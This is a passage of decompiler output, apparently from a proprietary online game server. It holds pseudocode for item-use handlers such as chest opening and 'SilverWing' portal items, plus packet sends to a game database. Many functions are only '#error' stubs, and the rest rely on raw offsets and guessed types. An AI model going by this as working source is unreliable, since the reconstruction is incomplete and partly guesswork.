[bp+Ch]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AttrChange2DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_AttrChange2DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v6 + 4) = *((_WORD *)v5 + 28870); *((_WORD *)v6 + 1) = *((_WORD *)v5 + 2); v7 = iti; *((_DWORD *)v6 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *(_DWORD *)(v6 + 10) = *(_DWORD *)iti; *(_DWORD *)(v6 + 14) = *(_DWORD *)(iti + 4); v6 += 18; memcpy(v6, (const void *)(iti + 8), 0x64u); v6 += 100; *(_WORD *)v6 = *(_WORD *)(iti + 108); v6[2] = *(_BYTE *)(iti + 110); v8 = iac; v9 = iti + 10; (*(void (__thiscall **)(int, int))(*(_DWORD *)iac + 8))(iac, iti + 10); itia = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 8))(v8, iti + 10) + 20; v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 8))(v8, v9); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10 + 20) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_AttrChange2DB : Packet Too Long", itia); } LOWORD(v11) = *((_WORD *)v5 + 28870); (*(void (__thiscall **)(char *, ZoneBaseSession *, int, int, int, int))(*((_DWORD *)v5 + 14434) + 48))( (char *)v5 + 57736, v11, iic, v7, inven, inven); ++*((_WORD *)v5 + 28870); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AttrChange2DB"); } //----- (0052BAF0) -------------------------------------------------------- #error "52BAF0: undefined or illegal type '#325' (funcsize=115)" //----- (0052BCA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast(void *this, int inven) { void *v2; // esi@1 signed int v3; // edi@1 int v4; // edx@1 int v5; // ST14_4@1 int v6; // eax@1 int v7; // ebp@1 unsigned __int16 v8; // ax@1 int v9; // eax@3 MapInfo *v10; // edi@4 unsigned int v11; // eax@7 char *v12; // eax@7 unsigned int v13; // eax@7 char *v14; // eax@7 int v15; // edx@7 NPCManager::LinkInformTemplete linkstruct; // [sp+14h] [bp-78h]@7 unsigned int v17; // [sp+7Ch] [bp-10h]@8 int v18; // [sp+88h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v2 + 8884); v5 = *(_WORD *)inven & 0x3FF; v18 = 0; v6 = (*(int (__thiscall **)(char *, int))v4)((char *)v2 + 35536, v5); v7 = v6; v8 = *(_WORD *)(v6 + 8); if ( v8 == unk_12574190 ) { v9 = *(_WORD *)(v7 + 11); if ( v9 < mapdatabox.mdb_maxmapid ) { v10 = mapdatabox.mdb_index[v9]; if ( v10 ) { v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)&v10->MapName.n3_name[0]; *((_DWORD *)v12 + 1) = *(_DWORD *)&v10->MapName.n3_name[4]; *((_DWORD *)v12 + 2) = *(_DWORD *)&v10->MapName.n3_name[8]; v12[12] = 0; strncpy(linkstruct.linktoserver, v12, 0xCu); v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)&v10->MapName.n3_name[0]; *((_DWORD *)v14 + 1) = *(_DWORD *)&v10->MapName.n3_name[4]; *((_DWORD *)v14 + 2) = *(_DWORD *)&v10->MapName.n3_name[8]; v14[12] = 0; strncpy(linkstruct.linktoclient, v14, 0xCu); v15 = *(_DWORD *)v2; linkstruct.coordx = *(_DWORD *)(v7 + 13); linkstruct.coordy = *(_DWORD *)(v7 + 17); (*(void (__thiscall **)(void *, signed int, signed int))(v15 + 772))(v2, 12, 26); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); (*(void (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(*(_DWORD *)v2 + 1472))( v2, &linkstruct, 6, 9, 10); v18 = -1; goto LABEL_8; } v3 = -1; } v18 = v3; } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_silverwing_Setloc : wrong item", v8); v18 = -1; } LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast"); __security_check_cookie(v17); } //----- (0052BE80) -------------------------------------------------------- #error "52BE80: undefined or illegal type '#325' (funcsize=86)" //----- (0052BFB0) -------------------------------------------------------- void __thiscall UseEffect::UseItemNoEffect::UseItemNoEffect(UseEffect::UseItemNoEffect *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemNoEffect::_vftable_; } // 5DE2B4: using guessed type int (__stdcall *UseEffect__UseItemNoEffect___vftable_)(int, int itm); //----- (0052BFC0) -------------------------------------------------------- void __thiscall UseEffect::UseItemChest::_UseItemChest(UseEffect::UseItemNoEffect *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemBase::_vftable_; } // 5DD9C8: using guessed type int (__stdcall *UseEffect__UseItemBase___vftable_)(int, int itm); //----- (0052BFD0) -------------------------------------------------------- #error "52BFD0: undefined or illegal type '#434' (funcsize=46)" //----- (0052C0A0) -------------------------------------------------------- #error "52C0A0: undefined or illegal type '#434' (funcsize=62)" //----- (0052C1B0) -------------------------------------------------------- #error "52C1B0: undefined or illegal type '#434' (funcsize=210)" //----- (0052C460) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemByTable::uib_CanUseItem(UseEffect::UseItemByTable *this, #434 *a2, ItemTotalInformation *itm) { unsigned __int16 v3; // ax@1 UseEffect::UIE_Functions *v4; // esi@2 signed int v5; // ebp@4 int v6; // ebp@4 unsigned __int16 result; // ax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemByTable::uib_CanUseItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemByTable::uib_CanUseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = itm->iti_itemstruct.itemid; if ( v3 < useditemeffect.uie_MaxItemID ) v4 = &useditemeffect.uie_FuncStruct[v3]; else v4 = useditemeffect.uie_FuncStruct; v5 = ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable((void *)a2, v4->useeffectstruct->UseEffectC); v6 = ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable((void *)a2, v4->useeffectstruct->UseEffectB) + v5; if ( ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable((void *)a2, v4->useeffectstruct->UseEffectA) + v6 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemByTable::uib_CanUseItem"); result = 1792; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemByTable::uib_CanUseItem"); result = 1811; } return result; } //----- (0052C580) -------------------------------------------------------- #error "52C580: undefined or illegal type '#434' (funcsize=266)" //----- (0052C9F0) -------------------------------------------------------- #error "52C9F0: undefined or illegal type '#434' (funcsize=112)" //----- (0052CB90) -------------------------------------------------------- #error "52CB90: undefined or illegal type '#434' (funcsize=126)" //----- (0052CD50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChestBoxOpen(void *this, __int16 slot, int itm) { void *v3; // edi@1 char *v4; // esi@1 ZoneBaseSession *v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13421; *((_WORD *)v4 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v4 + 2) = *(_DWORD *)itm; *((_DWORD *)v4 + 3) = *(_DWORD *)(itm + 4); *((_WORD *)v4 + 8) = slot & 0x3FF | 0x2400; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_uie_ItemChest_Direct : Packet Too Long", 18); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"); } //----- (0052CE60) -------------------------------------------------------- #error "52CE60: undefined or illegal type '#325' (funcsize=48)" //----- (0052CF30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck(void *this, int ack) { void *v2; // esi@1 int v3; // edx@1 __int16 v4; // bx@1 int v5; // ebx@1 int v6; // edi@1 __int16 v7; // ax@4 char *v8; // ebp@8 int v9; // edi@10 int v10; // edi@11 const char *v11; // eax@11 int v12; // edx@12 int v13; // eax@12 char v14; // cl@12 int v15; // ebx@12 int v16; // edi@13 __int16 v17; // ax@15 int v18; // ecx@15 int v19; // edx@15 int v20; // edx@15 void *v21; // eax@15 int v22; // eax@15 void *v23; // ecx@15 int v24; // eax@16 int v25; // edx@16 int v26; // ST1C_4@18 char v27; // al@18 ZoneBaseSession *v28; // eax@19 int v29; // edi@22 const char *v30; // eax@22 signed int v31; // [sp+18h] [bp-CCh]@22 signed int v32; // [sp+1Ch] [bp-C8h]@22 int v33; // [sp+30h] [bp-B4h]@10 ITEM_INVEN invenloc; // [sp+34h] [bp-B0h]@12 FunctionEntarance _; // [sp+38h] [bp-ACh]@1 int i; // [sp+3Ch] [bp-A8h]@8 ITEM_INVEN ivn; // [sp+40h] [bp-A4h]@15 InventoryLocking::UnlockedInventoryIterator itemiter; // [sp+44h] [bp-A0h]@10 void *iic; // [sp+50h] [bp-94h]@15 ItemBoxIterEmpty itemitertmp; // [sp+54h] [bp-90h]@10 ItemTotalInformation iti; // [sp+64h] [bp-80h]@15 unsigned int v42; // [sp+D4h] [bp-10h]@28 int v43; // [sp+E0h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8884); v4 = *(_WORD *)(ack + 14); v43 = 0; v5 = v4 & 0x3FF; v6 = (*(int (__thiscall **)(char *, int))v3)((char *)v2 + 35536, v5); if ( !v6 || *(_DWORD *)v6 != *(_DWORD *)(ack + 6) || *(_DWORD *)(v6 + 4) != *(_DWORD *)(ack + 10) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1814, 9); goto LABEL_27; } v7 = *(_WORD *)(ack + 16); if ( v7 == 2486 || v7 == 2487 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1814, 9); ShineObjectClass::ShinePlayer::sp_DestroyItem(v2, *((_WORD *)v2 + 2), v6, ack + 14); LABEL_27: --funcallanalizer.fca_stackpoint; v43 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"); goto LABEL_28; } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( *(_BYTE *)(v6 + 10) & 0xF0 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_uie_ItemChest_Direct : Invalid Chest flag", (unsigned int)*(_BYTE *)(v6 + 10) >> 4); } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13392; *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_DWORD *)v8 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v8 + 14) = *(_DWORD *)v6; *(_DWORD *)(v8 + 18) = *(_DWORD *)(v6 + 4); v8[22] = 0; *((_WORD *)v8 + 6) = *((_WORD *)v2 + 28870); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); i = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8884))((char *)v2 + 35536, v5); if ( AssertClass::operator__(&shineassert, i != 0, "ShinePlayer::sp_uie_ItemChest_Direct : Invalid cell", 0) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1795, 9); } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); ItemBoxIterEmpty::ItemBoxIterEmpty( &itemitertmp, (ItemBag *)v2 + 8884, (ChargedEffectContainer *)((char *)v2 + 91696)); v9 = (int)((char *)v2 + 57736); LOBYTE(v43) = 1; itemiter.uii_Iterator = (ItemBoxIterator *)&itemitertmp; v33 = (int)((char *)v2 + 57736); itemiter.uii_LockList = (InventoryLocking::InventoryCellLock *)((char *)v2 + 57736); itemiter.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&itemiter) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v12 = *(_DWORD *)v9; v13 = *((_WORD *)v2 + 28870); invenloc.Inven = v5 & 0x3FF | 0x2400; (*(void (__thiscall **)(char *, int, int, ITEM_INVEN *, ITEM_INVEN *))(v12 + 40))( (char *)v2 + 57736, v13, i, &invenloc, &invenloc); v14 = *(_BYTE *)(ack + 18); v15 = ack + 19; i = 0; if ( v14 ) { v16 = (int)(v8 + 31); while ( 1 ) { if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home(&itemiter) ) { v29 = *(_DWORD *)v2; v30 = ShineScript::ss_String(&shinescriptetc, "PresentBoxInvenFull"); (*(void (__thiscall **)(void *, const char *))(v29 + 1836))(v2, v30); v32 = 9; v31 = 1812; v23 = v2; goto LABEL_23; } v17 = *(_WORD *)v16 & 0x3FF | 0x2400; *(_WORD *)v16 = v17; *(_WORD *)v16 = v17 ^ (v17 ^ LOWORD(itemiter.uii_Iterator->ibi_finger)) & 0x3FF; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); ItemTotalInformation::iti_fill2struct_whole(&iti, &itmattcontainer.iacc_default, 0xFFFFu, (char *)(v15 + 3)); v18 = *(_BYTE *)v15; v19 = *(_DWORD *)&iti; *(_DWORD *)(v16 - 4) = iti.iti_registnum.binary._bf4; *(_DWORD *)(v16 - 8) = v19; v15 += v18 + 1; ++v8[22]; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); ivn.Inven = ivn.Inven & 0x3FF | 0x2400; v20 = *((_DWORD *)v2 + 8884); ivn.Inven ^= (ivn.Inven ^ LOWORD(itemiter.uii_Iterator->ibi_finger)) & 0x3FF; v21 = (void *)(*(int (__thiscall **)(char *, int))v20)( (char *)v2 + 35536, itemiter.uii_Iterator->ibi_finger); iic = v21; v22 = AssertClass::operator__( &shineassert, v21 != 0, "ShinePlayer::sp_uie_ItemChest_Direct : Invalid cell", 0); v23 = v2; if ( v22 ) break; v24 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); LOWORD(v24) = *((_WORD *)v2 + 28870); (*(void (__thiscall **)(int, int, void *, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v33 + 48))( v33, v24, iic, &iti, &ivn, &ivn); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v25 = *(_BYTE *)(ack + 18); v16 += 10; ++i; if ( i >= v25 ) { v9 = (int)((char *)v2 + 57736); goto LABEL_18; } } v32 = 9; v31 = 1814; LABEL_23: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v23, v31, v32); (*(void (__stdcall **)(_DWORD))(*(_DWORD *)v33 + 32))(*((_WORD *)v2 + 28870)); } else { LABEL_18: ++*(_WORD *)(v9 + 4); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v26 = 10 * (unsigned __int8)v8[22] + 23; v27 = ProtocolPacket::pp_SetPacketLen(&gpp, 10 * (unsigned __int8)v8[22] + 23); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v27, "ShinePlayer::sp_uie_ItemChest_Direct : Packet Too Long", v26) ) { v28 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v28); } } } else { v10 = *(_DWORD *)v2; v11 = ShineScript::ss_String(&shinescriptetc, "PresentBoxInvenFull"); (*(void (__thiscall **)(void *, const char *))(v10 + 1836))(v2, v11); (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v2 + 2240))(v2, 1812, 9); } itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } } v43 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_28: __security_check_cookie(v42); } // 4DBC80: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (0052D430) -------------------------------------------------------- char __thiscall UseEffect::UseItemMiniHouse::uib_DirectUse(UseEffect::UseItemMiniHouse *this, #434 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "UseEffect::UseItemMiniHouse::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemMiniHouse::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_Move2MiniHouse((void *)a2, slot, (int)itm); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemMiniHouse::uib_DirectUse"); return 1; } //----- (0052D4D0) -------------------------------------------------------- #error "52D4D0: undefined or illegal type '#434' (funcsize=33)" //----- (0052D570) -------------------------------------------------------- #error "52D570: undefined or illegal type '#434' (funcsize=46)" //----- (0052D650) -------------------------------------------------------- char __thiscall UseEffect::UseItemChest::uib_DirectUse(UseEffect::UseItemChest *this, #434 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemChest::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemChest::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ChestBoxOpen((void *)a2, slot, (int)itm); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemChest::uib_DirectUse"); return 1; } //----- (0052D6F0) -------------------------------------------------------- #error "52D6F0: undefined or illegal type '#434' (funcsize=41)" //----- (0052D7B0) -------------------------------------------------------- #error "52D7B0: undefined or illegal type '#434' (funcsize=59)" //----- (0052D8B0) -------------------------------------------------------- #error "52D8B0: undefined or illegal type '#434' (funcsize=45)" //----- (0052D970) -------------------------------------------------------- #error "52D970: undefined or illegal type '#434' (funcsize=40)" //----- (0052DA30) -------------------------------------------------------- #error "52DA30: undefined or illegal type '#434' (funcsize=40)" //----- (0052DAF0) -------------------------------------------------------- #error "52DAF0: undefined or illegal type '#434' (funcsize=45)" //----- (0052DBC0) -------------------------------------------------------- #error "52DBC0: undefined or illegal type '#325' (funcsize=83)" //----- (0052DD00) -------------------------------------------------------- #error "52DD00: undefined or illegal type '#325' (funcsize=103)" //----- (0052DE90) -------------------------------------------------------- #error "52DE90: undefined or illegal type '#325' (funcsize=63)" //----- (0052DF80) -------------------------------------------------------- #error "52DF80: undefined or illegal type '#325' (funcsize=36)" //----- (0052E030) -------------------------------------------------------- void __thiscall UseEffect::UseItemItemPackage::uib_Effect(UseEffect::UseItemItemPackage *this, #325 *a2, ItemTotalInformation *itm, UseEffect::UIE_Functions *funcstr) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemItemPackage::uib_Effect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemItemPackage::uib_Effect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemItemPackage::uib_Effect"); } //----- (0052E080) -------------------------------------------------------- #error "52E080: undefined or illegal type '#325' (funcsize=28)" //----- (0052E120) -------------------------------------------------------- #error "52E120: undefined or illegal type '#325' (funcsize=28)" //----- (0052E1C0) -------------------------------------------------------- #error "52E1C0: undefined or illegal type '#325' (funcsize=30)" //----- (0052E260) -------------------------------------------------------- #error "52E260: undefined or illegal type '#325' (funcsize=31)" //----- (0052E300) -------------------------------------------------------- #error "52E300: undefined or illegal type '#325' (funcsize=28)" //----- (0052E3A0) -------------------------------------------------------- #error "52E3A0: undefined or illegal type '#325' (funcsize=28)" //----- (0052E440) -------------------------------------------------------- #error "52E440: undefined or illegal type '#434' (funcsize=284)" //----- (0052E7F0) -------------------------------------------------------- #error "52E7F0: undefined or illegal type '#434' (funcsize=51)" //----- (0052E8D0) -------------------------------------------------------- #error "52E8D0: undefined or illegal type '#434' (funcsize=74)" //----- (0052E9D0) -------------------------------------------------------- #error "52E9D0: undefined or illegal type '#434' (funcsize=150)" //----- (0052EBF0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Silverwing_Cancel(ServerMenuFuncter *this, #434 *a2, ServerMenuArgument *arg) { ServerMenuFuncter *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Cancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Silverwing_Cancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_silverwing_Cancel((void *)a2, (int)arg); ServerMenuFuncter::smfm_Cancel(v3, a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Cancel"); } //----- (0052ECA0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Silverwing_Portal(ServerMenuFuncter *this, #434 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Portal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Silverwing_Portal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_SilverWing_PortalCast(a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Portal"); } // 52BAF0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SilverWing_PortalCast(_DWORD, _DWORD); //----- (0052ED40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Setloc(void *this, int inven) { void *v2; // ebx@1 int v3; // edx@1 int v4; // ST0C_4@1 int v5; // eax@1 int v6; // ebp@1 unsigned __int16 v7; // ax@1 int v8; // eax@3 char *v9; // eax@5 signed int v10; // [sp-18h] [bp-9Ch]@2 signed int v11; // [sp-14h] [bp-98h]@2 char *v12; // [sp-14h] [bp-98h]@5 ItemTotalInformation silverwing; // [sp+4h] [bp-80h]@5 unsigned int v14; // [sp+74h] [bp-10h]@8 int v15; // [sp+80h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8884); v4 = *(_WORD *)inven & 0x3FF; v15 = 0; v5 = (*(int (__thiscall **)(char *, int))v3)((char *)v2 + 35536, v4); v6 = v5; v7 = *(_WORD *)(v5 + 8); if ( v7 != unk_12574190 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_silverwing_Setloc : wrong item", v7); v11 = 9; v10 = 1795; LABEL_7: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, v10, v11); v15 = -1; v12 = "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"; goto LABEL_8; } v8 = *(_DWORD *)((char *)v2 + 98); if ( !v8 || !*(_BYTE *)(*(_DWORD *)(v8 + 12) + 107) ) { v11 = 9; v10 = 1807; goto LABEL_7; } memcpy(&silverwing, (const void *)v6, 0x6Cu); *(_WORD *)((char *)&silverwing.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v6 + 108); BYTE3(silverwing.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v6 + 110); silverwing.iti_itemstruct.itemattr.blot.lot = 1; v9 = NameString::operator__(&namestring, (Name3 *)v8); *(unsigned __int16 *)((char *)&silverwing.iti_itemstruct.itemattr.wlot.lot + 1) = MapDataBox::mdb_2mapid( &mapdatabox, v9); *(_QWORD *)((char *)&silverwing.iti_itemstruct.itemattr.dlot.lot + 3) = *(_QWORD *)*(_DWORD *)((char *)v2 + 78); ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v2, v6, *(_DWORD *)(v6 + 112), (int)&silverwing, inven); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); v15 = -1; v12 = "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); __security_check_cookie(v14); } //----- (0052EEE0) -------------------------------------------------------- char __thiscall UseEffect::UseItemActionItem::uib_DirectUse(UseEffect::UseItemActionItem *this, #434 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "UseEffect::UseItemActionItem::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemActionItem::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_Move4Activ(a2, slot, itm, 15); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemActionItem::uib_DirectUse"); return 1; } // 52E9D0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_Move4Activ(_DWORD, _DWORD, _DWORD, _DWORD); //----- (0052EF90) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Silverwing_LocSet(ServerMenuFuncter *this, #434 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_LocSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Silverwing_LocSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_silverwing_Setloc((void *)a2, (int)arg); 